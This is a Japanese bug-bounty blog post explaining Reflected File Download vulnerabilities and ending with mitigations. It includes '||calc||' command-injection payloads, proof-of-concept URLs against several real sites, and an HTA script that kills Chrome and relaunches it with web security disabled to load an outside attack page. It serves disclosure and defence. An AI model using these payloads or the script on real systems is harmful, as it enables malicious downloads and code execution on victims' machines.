CSP 2015がかっこよ過ぎたのでパクりましたw
Reflected File Download(以後RFD)はBlack Hat Europe 2014で発表された比較的新しい脆弱性です。今年になりRFD Cheat Sheetなる記事も書かれました。実は僕も今年の後半はRFDばかり見ていました。
概要
RFDはその名の通り3つの要素がからなります。
1. Reflected
ユーザーの入力した値がレスポンスに反映される。
2. File
URLに任意の文字列を追加でき、尚且つ正常にロードされる。
3. Download
ダウンロードが可能であり、上記2つの要素がダウンロードしたファイルに反映される。
例
ユーザーが検索バーに文字を入れた際に、JSONを使い動的に候補を表示するサイトがあるとします。
リクエスト
https://www.example.com/search?q=user_input
レスポンス
{"q":"user_input","result":"Not Found"}
ここに以下の様なリクエストを送ります。
リクエスト
https://www.example.com/search/setup.bat?q="||calc||
レスポンス
{"q":"\"||calc||","result":"Not Found"}
サーバーがリクエストに対して正常にレスポンスを返す場合、RFDに脆弱になります。JSONのレスポンスにContent-DispositionヘッダーのAttachmentが指定されている場合、上記リクエストのリンクをクリックするとsetup.batファイルがダウンロードされます。もちろんsetup.batファイルにはレスポンスが入っている訳ですが、Windowsコマンドで「||」は前のコマンドが失敗したら次を実行するという意味なので、以下のように解釈されます。
「{"q":"\"」失敗したら次を実行
「calc」失敗したら次を実行
「","result":"Not Found"}」
1行目は正しいコマンドではない為失敗し、「calc」が実行され、電卓が起動します。バイナリは苦手だけど、1度でいいから脆弱性を使って電卓起動してみたい!という方には最高の脆弱性ですねwもちろん拡張子はbat以外にも変えられるので、拡張子の数だけ手法があります。
戦歴
以下のサイトで実際にRFDを見つけました。
サイト | 種類 | 評価 |
JS (Download) | Out of Scope | |
Yammer (Microsoft) | JS (Download) | Rewarded $500 |
Zendesk | JS (Download&Self-RFD) | Rewarded $50 |
Mail.Ru | JS (Download) | Rewarded $150 |
Line | Image (Download) | Out of Scope |
Ubiquiti Networks | Image (Download) | N/A |
Downloadの意味は、RFDリンクにダウンロード属性が必要という意味です。つまりChromeもしくはOperaでのみ動きます(Safariは試してないので分かりません)。またJSはJSONやJSONPも含めています。上記以外にも多々報告していますが、今日は控えます。
さて、報奨金を貰えなかったところは修正されていないので、実際の例を見ていきましょう。
こちらでIDがそのままエラーメッセージに反映されているので、ダウンロード属性を付けてあげるとbatファイルがダウンロードされて、それを実行すると電卓が起動します。
PoC
https://clients6.google.com/rpc/plusi/setup.bat?method=plusi.x&id=%22||calc||
実はエラーの場合、普通はRFDができません。例えばこちらのように、HTTPステータスコードがエラーコードの場合、ダウンロード属性を付けてもファイルが正しく保存されません。
PoC
http://cybozushiki.cybozu.co.jp/mt/mt-data-api.cgi/v1/sites/1/entries.bat?status=Publish&offset=%22||calc||
Googleの場合、エラーの際もHTTPステータスコードが200(OK)だった為、RFDが可能でした。当たり前ですが、エラーの場合はエラーコードを返すようにしましょう。
Line
RFDはJSONに依存する問題ではありません。ユーザーの入力が反映されるファイルの拡張子が変更でき、尚且つダウンロードできればいいのです。どんなサイトにもユーザーアイコンがある為、画像に注目しました。
Lineもこちらのようにユーザー画像の拡張子が変更できました。また、Lineはアップロードされた画像のソースにあるコメントをそのまま反映させている為、画像のソースに任意のコードを埋め込むことができました。しかし脆弱性報奨金制度がスマホ用だったため、HTMLとしてダウンロードさせて、ログイン情報を入力させるようなフィッシングの類で報告しました。もちろんHTMLを開いた時点でJSは動くので、SDカード情報は盗めるんだと思います。Androidの場合Operaで動きます。
PoC
http://dl.profile.line.naver.jp/0m038b3eeb7251266324a516ce98d0e1a0af8c48ec8dc3.html
実際にLineに報告したリンクはこちら。パスワードは"Line"です。
RFDで報告したにも関わらず、拡張子を変えてもcontent-typeが正しく指定されている為スクリプトが実行されないので、古いブラウザやプラットフォームに起因する脆弱性となりました(WTF)。また危険なファイルを実行する場合は、ブラウザやOSから警告が出るから大丈夫とのことでした。content-typeの話は論外で、サイトの脆弱性をブラウザとOSの警告に委ねるのはおかしいのでは?との返信を出したものの放置プレイwいや~こんな所で愚痴ってすみませんw次行きます。
Ubiquiti Networks
さてLineの場合はHTMLでしたが、Windowsが標的で画像を使ったRFDがある場合はhtaが使えます。というのも、画像にコマンドを埋め込んでも、画像ソースの改行などでうまくいかないためです。
PoC
http://community.ubnt.com/t5/image/serverpage/image-id/65455i01F8F8FB138903DD/setup.hta
(htaファイルを実行するとChromeが強制終了され、脆弱なChromeが立ち上がります。アラートを確認したら、脆弱なChromeは閉じて下さい)
画像内に以下のスクリプトが埋め込まれています。
<script>1行目でShellオブジェクトをつくり、2行目でChromeを強制終了します。強制終了するのに少し時間が必要な為、一秒たってから3行目でSOPとPopup Blockerを無効にしたChromeを立ち上げ、攻撃サイトを開きます。上手く行けば、Lineのサイトでアラートが出ます(根に持つタイプ)。もちろんChromeからは何の警告もありません。
var sh=new ActiveXObject("WScript.Shell")
sh.run('taskkill /f /im "chrome.exe"', 0, false)
setTimeout(function(){sh.run("chrome.exe --disable-web-security --disable-popup-blocking shhnjk.web.fc2.com/rfd.html")},1000)
</script>
Ubiquiti Networksの見解としては「別に細工した画像ファイルをうちのサーバーに上げなくても、攻撃者のサーバーにある実行ファイルをリンクすればいいじゃん」とのことでした。もう愚痴りませんw
さて、折角なのでダウンロード属性なしのものも紹介します。こちらにアップロードされているhta.pngのダウンロードリンクをコピーしnameパラメータをhta.pngからhta.htaに変えてリンクにアクセスして見てください。以下の様な感じ。
https://chromium.googlecode.com/issues/attachment?aid=5279980000001&name=hta.hta&token=token&id=527998&mod_ts_token=token
この様に、Content-DispositionヘッダーがAttachmentになっている場合は自動でダウンロードされます。しかし、今回の場合はトークンが必要で、1人目しかリンクからダウンロードが出来ないため、あまり実用的ではありません。
画像を使ったRFDは、世界的に有名でセキュリティがしっかりしているサイトでは見つかりません。これはそのようなサイトが、そもそもユーザーからアップロードされたコンテンツを信頼されるドメインにホストしない為です。サイトと同じドメイン上にユーザーからアップロードされたコンテンツをホストすると、IEのbehaviorが使えるようになったりもするので、出来るだけSandboxドメインにホストするようにしましょう。
対策
RFDの対策として、ユーザーの入力をエスケープではなくエンコードすることや、拡張子の変更や追加をエラーにするなどの対策もありますが、ユーザーの入力が反映されるファイルには、Content-Dispositionヘッダーを追加しFilenameを無害なものに指定してください。こうすることで、どんな値が入ろうとも拡張子が変わらない為、RFDに脆弱にはなりません。
まとめ
今回PoCは書かなかったものの、RFDを使えば、攻撃者はウィルスやランサムウェアをPCにインストールすることも出来ます。また攻撃者はユーザーが信頼するサイトの中で1つでも脆弱なものを見つければ、ユーザーのPCを乗っ取れるため、とても理に適った脆弱性です。しかし、そもそもリンクをクリックしてダウンロードしたファイルを開くか?とRFDを脆弱性と認めないところもあります。これに関してはバグハンターもCSIRTもある程度ITリテラシーがある為わかりません。実際にこの脆弱性が悪用される日が来れば、答えが出るのかもしれませんね。
ではでは。